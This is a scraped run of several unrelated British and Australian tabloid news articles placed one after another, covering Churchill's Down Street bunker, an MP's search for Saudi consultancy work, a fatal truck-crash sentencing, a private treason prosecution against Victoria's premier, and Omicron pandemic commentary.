Executive Committee (REC), the body set up as an intermediary between the War Office and Britains privately-owned rail companies as a means of coordinating the vital movement of troops, supplies and equipment. But, first, it needed to be made bomb-proof an attack on the REC could bring the country grinding to a halt. Under great secrecy, new walls were built and doors fitted with gas locks; offices, kitchens and mess rooms were built in the corridors and on the platforms, with enough room to accommodate as many as 40 people who worked day and night, sometimes not coming back up to street level for up to two weeks as if they were working and living in a submarine. It was the safest place in London. Nothing here would have touched you, says Nix. 1914: Down Street was never well used No bomb or gas attack could have penetrated into the bunker but at the same time the REC knew how to do themselves well, as Churchills private secretary Jock Colville put it in his diaries. None of this is evident from the outside, where part of the entrance is obscured by a grocery store, as it was in 1940 in an effort to keep it secret. But look closer and you clearly see the distinctive arched oxblood tiles designed by Leslie Green, which are evident in several other London Underground stations. Nix unlocks a small steel door and we step inside. This is where Churchill, who called Down Street The Burrow, would have been smuggled in and where a special lift was built in what was the ventilation shaft, around which a spiral staircase takes you down into the dark and dusty station. Some of the old signage and arrows are still there. To Offices, says one. Committee Room, says another. There is debate about who suggested Down Street as a safe-house for Churchill. Certainly, after the night of October 15, 1940, when a bomb fell on the Treasury, killing three officials, it became clear that he could no longer remain in Downing Street during intensive bombing raids. Nix says he was persuaded to stay in Down Street I used to go there to transact my evening business and sleep undisturbed, wrote Churchill by his Cabinet colleague Josiah Wedgwood, whose brother, Sir Ralph Wedgwood, was chairman of the REC. But Andrew Roberts, author of Walking With Destiny, a biography of the war leader, says it was on the advice of the King that Churchill crossed St Jamess Park and bedded down in the former tube station. It did its job, but Churchill felt restless down there and out of touch with events, says Roberts. He didnt care for it much. Even so, because bunkers and air-raid shelters were exempt from rules on rationing, there was no holding back on some of the pleasures to which Churchill had become accustomed, with the railway companies, which owned grand railway station hotels, bringing in their own silver service and plentiful supplies of wine and spirits. Pictured: The exterior of the disused Down Street underground station on April 13, 2016 Senior REC figures ate in style, attended to by liveried staff as if dining in a first-class railway carriage. Their executive dining room was decorated with wallpaper, much of which still survives and part of the old service bell is still intact on one wall. Such was the security surrounding Churchills visits that even today no one quite knows how many nights he stayed in Down Street, but it was certainly several. On the first two occasions, he slept in the office of the REC secretary, Gerald Cole Deacon, one level up from the platforms where the telephonists toiled. Even those living and working in Down Street were not meant to know he was here, says Nix. It was a secret within a secret. Churchills bathroom still has its bath, albeit covered in soot and dust, but his Royal Doulton sink has gone. Initially, access to where he performed his ablutions meant walking past other bathrooms and two chemical toilets something he might not have relished. This may explain why on January 20, 1941, Cole Deacon wrote to the REC chief engineer, H.J. Greene, saying: A certain gentleman has requested us to arrange for the passage between the first and second landings to be converted for his use as speedily as possible. Pictured: Mark in the bunkers telephone exchange room And, it was. Within five weeks and at a cost of 7,000 (compared with 21,000 for the whole Down Street bunker), the certain gentlemans two-bedroom suite was ready, complete with its own bathroom, dining room, conference room and kitchen. Some staff referred to it as Number Ten. It was here that Churchill carried out some of his cocktail diplomacy, especially entertaining the Minister of Labour, Ernest Bevin, whose help was needed in persuading the U.S. to enter the war. Colville writes in his diary of one such dinner with Bevin, after which Churchill, well-plied with brandy had great difficulty operating the lift as he showed his guest out and then, once outside, the prime minister was nearly arrested in the street for arguing with a police officer about having car sidelights that were too bright. Keeping Churchill safe was crucial, but keeping the telephone lines working was perhaps even more important as they were linked to all the mainline railway company headquarters in the country. This meant making sure that there was always an electricity supply. So, in addition to the mains, Down Street was connected to three separate power stations and had two diesel generators of its own, plus a whole room of batteries not dissimilar to a car battery. Piccadilly Line trains still pass through Down Street, as they did during the war, but such was the thickness of the walls that the dormitories above were reasonably quiet. Churchill might have felt cut off from events, but the nights he spent at Down Street must have made him more empathetic to those who night after night slept in shelters and on the platforms of Tube stations during the Blitz. Certainly, Churchill appreciated the role of Down Street. As a gift on December 21, 1940, he sent 10 to the REC as a contribution to its Christmas fund thats more than 500 in todays money. And he would have rejoiced that a failed Underground station had its own cometh the hour moment. A Tory MP pleaded for help to get a second job with a Saudi Arabian company, saying he needed the money to 'pay school fees'. In a series of WhatsApp messages, Daniel Kawczynski tried to sell himself by claiming to be the most 'pro-Saudi' MP in the Commons. He arranged to host one potential employer in Parliament, offering him a tour of the House of Commons and dinner in the MPs' private dining room. The revelations will raise fresh questions about MPs' second jobs and come as the Tories face a battle in today's North Shropshire by-election. The seat, which neighbours Mr Kawczynski's Shrewsbury and Atcham constituency, was vacated by former Cabinet minister Owen Paterson last month after he was found to have broken Commons lobbying rules. The Standards Commissioner said Mr Paterson had 'repeatedly used his privileged position to benefit two companies for whom he was a paid consultant, and that this has brought the House into disrepute'. The Guardian yesterday published messages Mr Kawczynski sent to a fixer between September 2017 and June 2018, asking for help finding work outside Parliament. In a series of WhatsApp messages, Daniel Kawczynski (pictured) tried to sell himself by claiming to be the most 'pro-Saudi' MP in the Commons. The Guardian yesterday published messages Mr Kawczynski sent to a fixer between September 2017 and June 2018, asking for help finding work outside Parliament He boasted that Saudi Arabia's Crown Prince Mohammed bin Salman has stated that 'Saudi has no better friend in UK than me'. He wrote: 'I am looking for a position with a company as non-exec director or adviser/consultant. 'Obviously my passion for Anglo-Arab relations [is] something which could help a company with relations in the UK or Middle East. 'Not sure what remuneration I am looking for but you are such a good negotiator!!! Best wishes, Daniel.' In another message, the Polish-born MP added: 'Promise you will push for good remuneration too for me... I need it to pay school fees!' Mr Kawczynski wrote that he was disillusioned with Westminster politics and suggested he would one day like to be Britain's ambassador to Riyadh. Pleading for help to find work, the 49-year-old added: 'Ideally I am looking for a consultancy (on a) monthly basis as I need the stability of regular income.' Despite the WhatsApp messages, it is understood Mr Kawczynski failed to get any work in Saudi Arabia. Since 2018, he has earned more than 250,000 from a second job with a New York-based mining company. Mr Kawczynski is already the subject of a Commons standards probe. Despite the WhatsApp messages, it is understood Mr Kawczynski failed to get any work in Saudi Arabia (Pictured: Saudi Crown Prince Mohammed bin Salman) Earlier this year, the MP was ordered to say sorry after Standards Commissioner Kathryn Stone found him guilty of bullying. He had ranted at parliamentary staffers when he could not join a virtual meeting, then made baseless complaints about them when drunk. But he admitted on the day he made his apology that he did not mean it and was only going through the motions to avoid being suspended from the House. As a result of his insincere speech in the Commons in June, Mr Kawczynski is under investigation by Miss Stone for the second time in five months. A spokesman for Mr Kawczynski told the Guardian he had 'broken no rules with regards to second jobs, and most importantly he prioritises his work as MP for Shrewsbury and Atcham'. A truck driver who killed a mother and child after ploughing his prime mover through an intersection has been sentenced to a non-parole period of just 14 months. With 316 days already served awaiting justice, Michael Knowler, 60, will more than likely be back on the streets before summer is over. The New Zealand national killed Deighton and Jess West when he slammed his truck into their car at an intersection in Kingston, north of Ballarat in country Victoria, just after midnight on December 29 last year. Deighton's nine-year-old brother Oakley and their father Anthony West survived the horror crash. Michael Knowler, 60, had been looking at his phone moments before he slammed his truck into the West family Pictured: Jess West, 37, and Deighton West, 5 died when a truck collided with their car at the intersection of Kingston Road and Church Parade in Ballarat just after midnight on December 29 Pictured: Deighton West, 5, killed in a horror truck crash in regional Victoria has been remembered for his infectious smile and cheeky grin The crash ought never have happened. On Wednesday, the County Court of Victoria heard Knowler had been on his phone just moments before the crash. He had been unfamiliar with the area and gawking at his GPS, which had been positioned flat on the dashboard of his truck, when he motored through the intersection. Knowler had seen signs warning of the intersection 203 metres before, but instead of applying the brakes, he took the chance to check his map. As he approached the intersection he saw the give way sign, but by then it was all too late. The Wests had been on their way to visit Ms Wests parents when Knowler crashed into the passenger side of the car, sending it tumbling over up to five times. In a harrowing victim impact statement provided to Judge George Georgiou Anthony West recalled his wife's chilling scream a split second before Knowler snuffed her life out. When he managed to break free of the car, the shocking sight of his dead family was scarred into his mind forever. 'There is not a day that goes by that I don't think about what happened. The last memories of them. I can never change those last memories,' Mr West told the judge. 'My beautiful family of four was tragically cut in half. The sound of my wife screaming moments before impact is the last thing I heard her say. That scream lives with me every day.' Mr West and his surviving son, who suffered a brain injury in the crash, were so traumatised they had to move out of their family home. 'Whatever the outcome of the hearing, it doesn't change the fact (my) family has been destroyed and life turned upside down,' he said. Pictured: A heartbreaking tribute has remembered Jess West, 37, who was killed in a horror truck crash on December 29 as a care-giver, wife and teacher Deighton West was killed instantly when Michael Knowlers prime mover failed to give way and crashed into the passenger side of the car he was in Michael Knowlers prime mover after the fatal crash Little Oakley, now aged 10, also provided Judge Georgiou own victim impact statement. 'Oakely West stated that he missed his mother's bubbly self and his brother's devilish smile. He said "it's a bit sad with only a dad",' Judge Georgiou said upon sentence. Knowler had walked away from the crash virtually unscathed. He was arrested after the incident and eventually pleaded guilty to two charges of dangerous driving causing death and one causing serious injury. The court heard he had been driving trucks for 40 years and was well aware of the dangers of taking his eyes off the road. Knowler had until now enjoyed a faultless driving record after moving to Western Australia in 2010. He had been visiting a friend in Daylesford when the crash happened. In arriving at his three year sentence, Judge Georgiou took into account several factors, including expert opinion the intersection had in itself been dangerous. The brakes on Knowler's truck were also sub-par, although experts claimed it would have made little difference to the end result. Knowler had not been speeding and was clean of any drugs or alcohol. He had shown remorse for his actions, writing an apology to Mr West from behind bars. Judge Georgiou also accepted Knowler faced deportation back to New Zealand upon his release from jail. HEARTBREAKING FAMILY STATEMENT: IN FULL Jess West was an exceptional, generous and caring woman with a bubbly personality and aged 37 years. Jess died in a vehicle collision last Sunday the 29th December. She was born in Traralgon, educated at Avoca Primary School, Highview Christian College in Maryborough and graduated from Ballarat Grammar in 2000. Jess then went on to Latrobe University in Bendigo where she graduated and became a successful and highly competent Primary School teacher, the last 10 years of which has been at Strathfieldsaye Primary School. Jess will be greatly missed by family, friends, her school community and sporting & recreational bodies in the Bendigo Region. Deighton West who was 5 years old died in the same vehicle collision as his mother Jess. Deighton graduated from his kinder class this year and was preparing to enter primary school in 2020 (Pictured on graduation day with his mum) He showed great sporting potential and was very excited at the prospect of joining his brother Oakley at School this year to start his formal education. Deighton had just graduated from Jennys ELC Kindergarten. Deighton was a very caring little boy, a characteristic developed by his very close family. Jess was a devoted loving wife of Anthony West and mum of Oakley who is 9 years old. Jess was and always will be the love of Anthonys life. She would walk into a room and instantly make the vibe of the room better like no other. There arent enough words to use to express how much he will miss Jess. Jess had an enormous influence in our lives, and we will continue to follow her legacy to ensure Oakley reaches his full potential. Deighton, your infectious smile and cheeky grin will forever be embedded in our minds. Your thirst for life and desire to be the best at whatever you did was nothing short of inspiring. We love you little man. Take care of mum and never stop trying to win. Love always. The West and Shearer families would like to extend our heartfelt thanks to the Emergency Services Personnel. In addition, we would like to express our gratitude and appreciation to the extraordinary staff at the Royal Childrens Hospital who are caring for Oakley. We are hugely indebted to the amazing staff at Victoria Police for their incredible and caring involvement with our families. We thank everyone for their love and sympathy during this very sad time. We request no flowers and suggest donations be made to the Royal Childrens Hospital Good Friday Appeal. Advertisement Deighton met Santa Claus before Christmas - and found his stash of Christmas presents before the big day Ms West was sitting in the front passenger seat with Deighton directly behind her as the truck approached. Her husband and Oakley were on the other side of the car Victorian Premier Daniel Andrews has quietly ducked out of Melbourne after being summonsed to appear at court on charges of 'concealing treason'. The charge was successfully filed with the Myrtleford Magistrates' Court and Mr Andrews - or at least his legal representative - is listed to face the court on Friday at 9.30am. The revelations of the court hearing are likely to have at the very least annoyed the holidaying premier, whose spin doctors were contacted for comment by various media organisations on Tuesday. Victorian Premier Daniel Andrews has been charged by a private citizen with concealing treason Protesters were told of the charges during a massive protest in Melbourne on November 27 (pictured) Premier Daniel Andrews has been the target of protests over lockdown laws, vaccinations and his pandemic bill Insiders told Daily Mail Australia Mr Andrews had simply fobbed off the pesky litigation, which comes amid several more pressing legal matters for the Andrews Government to worry about. 'I think the more interesting cases will be Ken Phillips and WorkSafe/HQ proceedings and then the SlugGate (ICook foods) court proceedings against (Professor Brett) Sutton and the health department,' a source said. The matters refer to WorkSafe's investigation into Mr Andrews' disastrous hotel quarantine facilities, which contributed to the deaths of more than 800 Victorians, and the health department's closure of a catering company after a slug was planted by dodgy council staff. It remains unclear where Mr Andrews has gone for his end-of-year break. The last time the Victorian Premier got away he ended up with a broken back, which put him off work for months. On Friday, a legal representative acting on his behalf is expected to tune into the court hearing via videolink due to ongoing Covid-19 concerns within Victoria's justice system. Sources have told Daily Mail Australia the private prosecution had been rejected from several Victorian courts before finally being put into the criminal justice stream in Myrtleford - 280 km northeast of Melbourne. The listing of the charges has been celebrated by anti-vaxxers and lockdown protesters, with many taking to social media to wallow in anticipation of the words 'treason' and 'Daniel Andrews' being used together inside an actual courtroom. The Myrtleford Magistrates' Court accepted a private prosecution against Premier Daniel Andrews Addressing 'freedom' protesters last month, Mr Rech claimed to have been successful in having the matter brought before the court. Mr Rech, who refers to himself as a 'Commonwealth Public Official' is known to have tried similar proceedings against other members of parliament across the country, reportedly arresting 'those sitting on the bench without any Crown authority'. 'He was charged with, but not limited to, misprision of treason and fraud. And as a result of those charges being filed and served, they were served at his electoral office,' Mr Rach told protesters. 'The police have been given notice The courts have been told to suppress the listing but we put it out there, weve been to the court registrars.' Mr Rech told the mob the Victorian premier faced the 'death penalty' if convicted of treason. 'Now that means any politician on indictable criminal offences which is a life penalty but under martial law its a death sentence it has to go to a grand jury,' he said. Under the law in Victoria, ordinary citizens can pay $85.70 and file a criminal charge in court. While many private prosecutions are described by legal professionals as 'wacky', they have a long history in Victoria. Anti-lockdown campaigner Jim Rech addressed the crowd on November 27 Protesters against Daniel Andrews have successfully had charges accepted by a Victorian court Thousands of Victorians have protested against Premier Daniel Andrews over the past two years The case against Mr Andrews faces significant challenges, with the Commonwealth Director of Public Prosecutions likely to take control of the matter before it gets off the ground. Under the law, the CDPP has the power to overtake and discontinue private prosecutions should it find it has no reasonable prospect of a conviction being secured on the available evidence or was 'not in the public interest'. In July, a private prosecution against the Chief Magistrate of Victoria Lisa Hannan was dealt with in Victoria under similar laws. Despite the obvious hurdles, the application has already caused significant inconvenience across sections of the State Government, which is expected to provide a lawyer to appear on Mr Andrews' behalf on Friday. A staffer for the Victorian Director of Public Prosecutions will also be on hand, although the matter is out of its hands due to acts of treason falling under the Commonwealth's umbrella. Mr Andrews' office and the CDPP both failed to respond to Daily Mail Australia's questions about the upcoming hearing. Jim Rech told protesters outside Parliament House in Melbourne on November 27 he had filed charges It remains unclear if Daniel Andrews will be forced to face the private prosecution, brought on by protesters Advertisement Professor Chris Whitty today called for 'serious caution' over a raft of promising data which suggests Omicron may cause milder disease. Fewer Covid-infected patients are being admitted to hospital wards in South Africa now compared to previous waves, sparking hopes that the strain is less lethal than the rivals it has outcompeted. But England's chief medical officer told a Downing Street press briefing that the figures were to be expected, simply because the country had higher levels of immunity going into the wave than during the summer, when Delta struck. Professor Whitty warned the same pattern may not be replicated in the UK because it wasn't hit as badly by the Delta, warning South Africa's last wave was more recent so its population-wide immunity was fresher. He told the nation the Government was currently lacking 'clear data on some of the really key questions', such as how Britain's vaccinated wall of defence which began a year ago will hold up. However, experts are adamant that the jabs should still offer huge protection against severe illness, and a booster will cut the odds further. He said: 'I think there has been a certain amount of commentary about the fact that doctors and scientists from South Africa... have indicated that there may be some reduction in the hospitalisation rates they are seeing with Omicron. I want to put a really serious caution on this because I think it has been overinterpreted. 'The amount of immunity for this wave because of prior Delta wave and vaccination is far higher than it was for their last wave and, therefore, the fact they have a lower hospitalisation rate this time is unsurprising. 'That doesn't mean there is some degree of milder disease that is possible but I think there is a danger that people have overinterpreted this to say this is not a problem and there's nothing to worry about. I want to be clear, I am afraid this is going to be a problem.' It comes as a record 26,976 cases were detected over the last 24 hours in South Africa, surging past the previous high from early July when Delta was running rampant. It also marked a 36 per cent rise on last Wednesday, and cases rose week-on-week in every province except the epicentre Gauteng, where data suggests the outbreak may have already peaked. Another 620 Covid patients were admitted to wards in the country today, officials said, a 65 per cent rise on the same time last week. And 54 more Covid deaths were recorded, a 50 per cent rise in a week. Both are lagging indicators, however, because of the time taken for someone who catches the virus to become ill enough to be admitted to hospital. Professor Chris Whitty (pictured) today called for 'caution' over promising hospitalisation data suggesting Omicron may cause milder disease in South Africa after the country's daily infections jumped to another high A record 26,976 infections were detected over the last 24 hours in South Africa, surging past the previous high of 26,485 cases from early July when Delta was running rampant It also marked a 36 per cent rise on last Wednesday, and cases rose week-on-week in every province except the epicentre Gauteng (red line) where the outbreak may be peaking Worried Whitty tells people to pick the events they attend 'carefully' The UK today announced its highest ever daily coronavirus case number as the Omicron variant engulfs the nation and Boris Johnson and Chris Whitty delivered a stark warning to Britons over Christmas parties at a Downing St press conference. A record 78,610 people tested positive in the past 24 hours, eclipsing the previous highest count by more than 10,000 when 68,053 were recorded on January 8 at the peak of the second wave. Officially, only a third of today's cases were attributed to Omicron but Government modelling predicts 400,000 people are catching the mutant virus every day, with the strain spreading faster than testing can keep up. Experts have warned there could be a million daily infections by next month which could translate into up to 4,000 hospital admissions each day in projections that are widely disputed. Just minutes after the sharp rise in cases, Professor Whitty warned that more Covid records were going to be broken by the ultra-infectious Omicron variant. He said people need to 'prioritise' who they meet in the run up to Christmas or risk catching the virus and spending the festive period alone. Professor Whitty could not be pinned down on whether harsher lockdown curbs were necessary, pointing out that there were still several key unknowns about Omicron such as how vaccines will perform and how severe it is. But he added: 'I think that what most people are doing is, and I would think this seems very sensible, is prioritising the social interactions that really matter to them and, to protect those ones, de-prioritising ones that matter much less to them.' Asked specifically about work Christmas parties, Professor Whitty said: 'The risk of someone getting infected at something that doesn't really matter to them and then not being able to do the things that do matter to them obviously goes up.' Professor Whitty said there should be 'really serious caution' over reports from South African doctors that Omicron is milder than previous strains. He warned the variant was so infectious it could cause more hospital admissions than Delta by virtue of infecting more people. Advertisement Speaking at the press conference today, Professor Whitty said: 'The point I was making about South Africa is between the last wave and this wave, their degree of immunity has substantially increased and therefore there is much greater immunity in South Africa to Covid in general not specific to Omicron than there was in the last wave. 'So some decrease in severity you would expect because of increasing immunity. 'But in contrast to our Delta wave, we already had lots of immunity thanks to the fantastic work of our NHS in double vaccinating everybody, so we don't have that additional thing on top. 'So, it may be some of or maybe all of any decrease in severity in South Africa is explained by that increase in immunity, which is not something that will necessarily be replicated here. 'The second thing is there age groups are very different. There are a number of very different factors including HIV, so reading across data needs to be done with very strong care.' Despite Professor Whitty's warning's, promising data earlier today suggested Omicron infections may have already peaked in Gauteng, the epicentre of South Africa's outbreak. The South African Government's weekly Covid surveillance report revealed that cases fell in Gauteng province last week for the first time since the nation sounded the alarm about Omicron on November 24. There were 377 cases per 100,000 people in the week to December 11 in Gauteng, down roughly 4 per cent on the previous week. Experts told MailOnline that while the 'encouraging' drop in cases was small enough to be within the margin of error, it at the very least shows Omicron is no longer spreading exponentially. Testing in the province has more than doubled in the past three weeks from 541 tests per 100,000 on November 27 to 1,264 now, suggesting swabbing capacity is not the issue. Professor Robert Dingwall, a former member of the Nervtag and JCVI panels, expects the ultra-infectious variant to infect so many Britons that it creates a work absence crisis. But he predicted that it won't overwhelm the NHS, despite gloomy warnings from No10's own scientists. A major real-world study of Omicron in South Africa yesterday found that the mutant virus is causing two-thirds fewer hospital admissions than Delta, bolstering claims it is milder than previous strains. Professor Dingwall, a sociologist who still sits on the Government's Moral and Ethical Advisory Group but has no input on the response to the pandemic, told MailOnline: 'Respectable experts in South Africa are telling us we're overreacting and that this is a milder virus. He accused British scientists of 'snobbery', adding: 'The best South African scientists are as good as scientists anywhere in world and if their view is there no reason to panic, we shouldn't be so quick to disagree.' Doctors on the ground in the South Africa have insisted for weeks that Omicron causes milder disease, likely due to immunity from earlier waves and vaccines. There are just 375 daily Covid admissions in South Africa currently, on average. But No10's scientific advisers fear that Britain's older and denser population puts it at a greater risk of a wave of infections and hospital pressure, even though only 25 per cent of South Africans are vaccinated and their booster roll-out is only just beginning. There is a suggestion that the NHS' threshold for being 'overwhelmed' is lower now after 18 months of battling the pandemic. The service was already in crisis mode before Omicron emerged, and since the pandemic hit waiting lists for routine operations have hit a record high. South Africa's weekly Covid surveillance report this morning revealed that cases fell in the epicentre of Gauteng province last week, in an early sign that the variant has peaked within a month of being discovered. The province, which includes major cities like Johannesberg and Tshwane, recorded 377 cases per 100,000 people in the week to December 11, down 3.9 per cent on the previous week Cases were rising in young children, older teenagers and adults 40 and over, but falling in all other groups. The fact that cases are still rising in elderly and vulnerable groups is still a cause for concern The above graph shows the weekly Covid infection rate per 100,000 people across South Africa's nine provinces. It reveals cases are now pointing downwards in Gauteng This graph shows the Covid infection rate per 100,000 people in England's regions. It also shows there has been a rapid uptick in London (red) while cases remain largely flat in other regions The above graph shows the seven-day average for hospital admissions in different regions of England. It reveals that in London (orange) there has been a steady increase This map reveals which parts of South Africa the variant's case numbers are rising fastest in. It shows these are the Free State and the Eastern Cape Professor Dingwall told The Telegraph last night: 'My gut feeling is that omicron is very much like the sort of flu pandemic we planned for a lot of sickness absence from work in a short period, which will create difficulties for public services and economic activity, but not of such a severity as to be a big problem for the NHS and the funeral business.' His comments come as a weekly Covid report from South Africa's National Institute for Communicable Diseases found cases dropped in Gauteng last week for the first time. Omicron-hotspot London is seeing Covid cases rise quicker now than since very first wave Omicron-stricken London's Covid cases are rising faster than at any point since the first wave and most people who have a cold are likely to be infected with the virus, a top epidemiologist claimed today. Professor Tim Spector, who runs the UK's largest study tracking viruses, said at least half of all respiratory infections in the capital were now Covid. For comparison, it is about one in four across the rest of the country. He added there was 'no difference' in symptoms between Omicron and Delta infections, with warning signs similar to a cold and including a headache, sore throat, runny nose, fatigue and sneezing. Health bosses warned today that Omicron was the 'biggest threat' since the start of the pandemic, and was leaving the NHS a key barometer of whether more restrictions are needed in 'peril'. SAGE scientist Professor Graham Medley said he feared the mutant strain could trigger a 'very large' wave of hospitalisations in the country because it is more transmissible than other strains. Omicron is already behind more than 50 per cent of infections in London, which has seen its infection rate spiral to the highest levels since January at 575.4 cases per 100,000 people. Hospitalisations in the capital have also risen 50 per cent in a fortnight, from 90 to 140 people being admitted to wards with Covid every day on average. But deaths remain flat at an average of 10 fatalities due to the virus a day. These are lagging indicators, however, because of the time taken for someone who catches the virus to fall seriously ill and be admitted to hospital. A spokesman for the mayor suggested yesterday that they would support more restrictions for the capital, saying it is better to 'act now'. But Tories called on ministers to rely on the 'vaccine shield'. It comes amid signs the capital may already be locking itself down, with many West End performances shelved because actors have caught the virus and pubs and restaurants facing a sea of Christmas party cancellations. Advertisement The province, which includes major cities like Johannesburg and Tshwane, recorded 377 cases per 100,000 people in the week to December 11, down 3.9 per cent on the previous week. Professor Paul Hunter, an epidemiologist at the University of East Anglia and professor in environmental health at the Tshwane University of Technology, described the fall in infections as 'encouraging'. He added: 'But we should be careful not to read too much in a single week of data. But if this fall continues then that would be good news for South Africa and maybe for us as well. 'I can't think of any major caveats, though one swallow doesn't make a spring so just one week of data could be due to other things such as problems with people accessing testing (I know of no evidence that this is the case but I am always a little cautious).' Boris Johnson's official spokesperson yesterday said it was 'valid' that the UK could face an astronomical 1million daily Omicron infections by the end of the year. That projection is based on widely disputed modelling by the UK Health Security Agency which claims there were also 200,000 Omicron infections yesterday despite the centralised testing scheme picking up just 59,000. Professor Hunter said that while the 1million-per-day figure was 'theoretically possible', he believes it is too high. 'As for the UK the big difference is that even though vaccination rates are lower in South Africa, the large majority of people have had a prior infection so difficult to extrapolate to UK context. 'Even so I don't expect that Omicron will continue to grow with its current short doubling time for much longer otherwise we would all have been infected by the 12th day of Christmas.' The development comes after the first major real-world study in South Africa found that Omicron is currently leading to a third fewer hospital admissions than Delta did during its entire wave 38 admissions per 1,000 Omicron cases compared to 101 per 1,000 for Delta. Officials who analysed 78,000 Omicron cases in the past month estimated the risk of hospitalisation was a fifth lower than with Delta and 29 per cent lower than the original virus. The findings lend weight to the theory that the ultra-infectious variant is weaker than previous strains, something which doctors on the ground in South Africa have been claiming for weeks. But the reduction in severity is probably not solely down to Omicron being intrinsically milder, according to the South African Medical Research Council which led the analysis. Around 70 per cent of South Africans have recovered from Covid already and 23 per cent are double-vaccinated, which has created high levels of immunity. The study also found two doses of Pfizer's vaccine still provide 70 per cent protection against hospital admission or death from Omicron, compared to 93 per cent for Delta. While this is more protection than many scientists initially feared, it still leaves 30 per cent of people vulnerable to severe Omicron disease, four times as many as Delta. Waning immunity from two Pfizer doses was found to offer just 33 per cent protection against Omicron infection, explaining why the country has seen a meteoric rise in case numbers. THREE jabs to go on holiday: Brits warned it's 'inevitable' they'll require booster shots to be 'fully vaccinated' for travel in 2022 Britons wanting to holiday abroad next year will 'inevitably' require a third Covid jab to be allowed into destination countries, Grant Shapps revealed today. The Transport Secretary said nations including G7 members like the US, France and Italy, all popular with millions of UK tourists, were likely to make it an entry requirement in 2022. The booster jab is also likely to become a domestic requirement to be classed as fully vaccinated within Britain, with ministers saying rules will be updated as soon as people have had a reasonable chance to get it. Mr Shapps told Sky News this morning: 'I speak to my opposite numbers in other countries - transport secretaries from around the world - particularly from the G7 this year, which we are hosting. 'They are saying ''look we are going to switch to requiring people to have that third jab'' before they are able to come into their countries so eventually it becomes inevitable because other countries will require it for us. 'I don't know what that time will be - not this year. Last night Sajid Javid today confirmed all countries will be removed from the Government's international travel red list from 4am today because the Omicron variant is already running rampant in the UK. The Health Secretary told the House of Commons that the change has been made because there is domestic community transmission of the variant and it is also spreading 'widely across the world'. As a result he said the red list is 'now less effective in slowing the incursion of Omicron from abroad' and hotel quarantine will therefore be shelved. The 11 countries on the list are: Angola, Botswana, Eswatini, Lesotho, Malawi, Mozambique, Namibia, Nigeria, South Africa, Zambia and Zimbabwe. The decision was hammered out at a meeting of the Cabinet's Covid-19 operations (Covid-O) committee. The red list was reintroduced last month following the emergence of Omicron as ministers tried to prevent importing cases into the UK. Despite the change on the red list, tougher travel testing rules introduced in response to the variant will remain in place. Advertisement Despite the optimism, one of the Government's top modellers said there is a possibility the NHS could be overwhelmed next month because of Omicron. Professor Graham Medley, chair of the SPI-M modelling group that feeds into SAGE, told BBC Radio 4's Today programme he is worried 'we could see numbers of people being admitted to hospital getting very large' if infections continue to rise and spill into older age groups. It came as Dr Jenny Harries, chief executive of the UK Health Security Agency, told MPs the Omicron coronavirus variant is 'probably the most significant threat we've had since the start of the pandemic'. She said the 'real potential risk' is whether 'cases turn into severe disease, hospitalisations and deaths', but added that it is 'too early' to be clear on that. Speaking in a personal capacity, Professor Medley said it is 'very hard to predict in real time exactly what's happening on any day, but it's certainly true that the numbers of infections primarily with Omicron is increasing, and has been increasing quite dramatically'. He added: 'We're probably now at the level that we have been at the past, sort of back in January, and it does look as though it's going to continue beyond that and go over it.' Professor Medley said there is not currently any good information on the severity of Omicron but added: 'We are a population in a very different position to this time last year, in the sense that the majority of people have been vaccinated and there has been much infection since then, so there is much more immunity... 'The fact that we are much more immune than we were generally means that the virus will appear to be much less severe. 'So, individually, we have a much lower risk but the numbers of infections means that even though individually we're at less risk, at a population level (the) number of people ending up in hospital could get very large.' He said it is a 'million-dollar question' over how this will affect the health service. Asked if hospitals could end up overwhelmed, he said: 'I think that that is a very real possibility. 'If the numbers of infections increasing continues in the way that it has done, and it spills out into older age groups, then we could see numbers of people being admitted to hospital getting very large and certainly going over the 1,000, maybe up to 2,000 a day, that we've managed to keep the Delta variant below. 'It was sort of below 1,000 since July without any restrictions, but I think that is going to be very, very difficult or are very unlikely to happen.' Pressed on the possibility of the NHS being overwhelmed next month, the expert said: 'I think so, there is that possibility. 'It's very hard to be certain about these things. You certainly can't put a risk or probability on them, but that is one of one of the more likely things that could happen.' Professor Medley said 'the numbers of boosters has gone up enormously' but it is the 'concertina-ing effect which is the biggest danger'. He said there have been around 800 hospital admissions per day for the past five months but 'if we'd had all those in one month then we would have had a very different experience and the NHS would have been extremely taxed.' He added: 'And that is the fear - that we end up with the next four months of the epidemic in one month.' Transport Secretary Grant Shapps defended the Government's position, saying ministers believe Plan B includes 'sensible proportionate steps, which, combined with getting the booster jab, we think will be the right approach to take.' He told the Today programme that the Government is saying that 'we're in a much better position to enjoy Christmas than we were last year', adding that taking tests before gatherings is a sensible move, as well as getting boosters. Elsewhere, Professor Adam Finn, from the University of Bristol and a member of the Joint Committee on Vaccination and Immunisation (JCVI), told BBC Breakfast the wave of Omicron is just taking off across the country. He said: 'The wave is coming very fast and in fact alarmingly fast - if anything faster than ever. So it really is a race at the moment. 'The more immunity that we've all got the less of a problem this is going to be, but I'm afraid it is going to be a serious problem either way.' Prof Finn said it is not up to him to say what regulations should be put on the population, but added: 'I think I can certainly encourage people to do everything they can to minimise spread of the virus during this critical period and, of course, a lot of that can be done voluntarily without anyone imposing rules on people. 'We all know now what the things are that we can do. We can avoid social contact, we can minimise contact at work, we can wear masks and really importantly, do lateral flow tests and check that you aren't showing signs of infection on a test before you go into a crowded place where you might infect other people.' Prof Finn said he is 'very concerned' about the current number of daily infections, adding that we are 'going to see the numbers of people becoming ill and needing hospital care beginning to rise steadily now over the next week and maybe over Christmas as well.' But he said boosters take effect in the body quickly, adding: 'It does come through very fast because you've got immunological memory, you've seen the antigen before from your previous doses, so the level of protection goes up pretty quick.' Meanwhile, Professor Tim Spector, who helped found the Covid Zoe app, said Covid cases in London are accelerating more than was seen during the very first wave of the virus. He told the Today programme the 'majority of symptoms' of the Omicron variant are like a common cold, including headaches, sore throat, runny nose, fatigue and sneezing. He said: 'In London, where Covid is increasing rapidly, it's far more likely to be Covid than it is to be a cold. 'If we look at our regional charts we see London accelerating more than we've seen it since the very first wave and this now means that Omicron is the predominant variant already.' On Tuesday evening, new restrictions were approved in Parliament for face coverings at more indoor spaces in England and the introduction of NHS Covid passes for nightclubs and large venues. In Scotland, people have been urged to limit their mixing by socialising with only up to two other households indoors, while in Northern Ireland, politicians backed mandatory Covid certification for access to nightclubs, pubs, restaurants and other licensed premises. An Anglo-Saxon Lyre, found as part of the Sutton Hoo medieval ship burial, has a cousin more than 2,400 miles away in Kazakhstan, according to archaeologists. A re-analysis of finds from Soviet-era archaeological digs in Dzhetyasar, 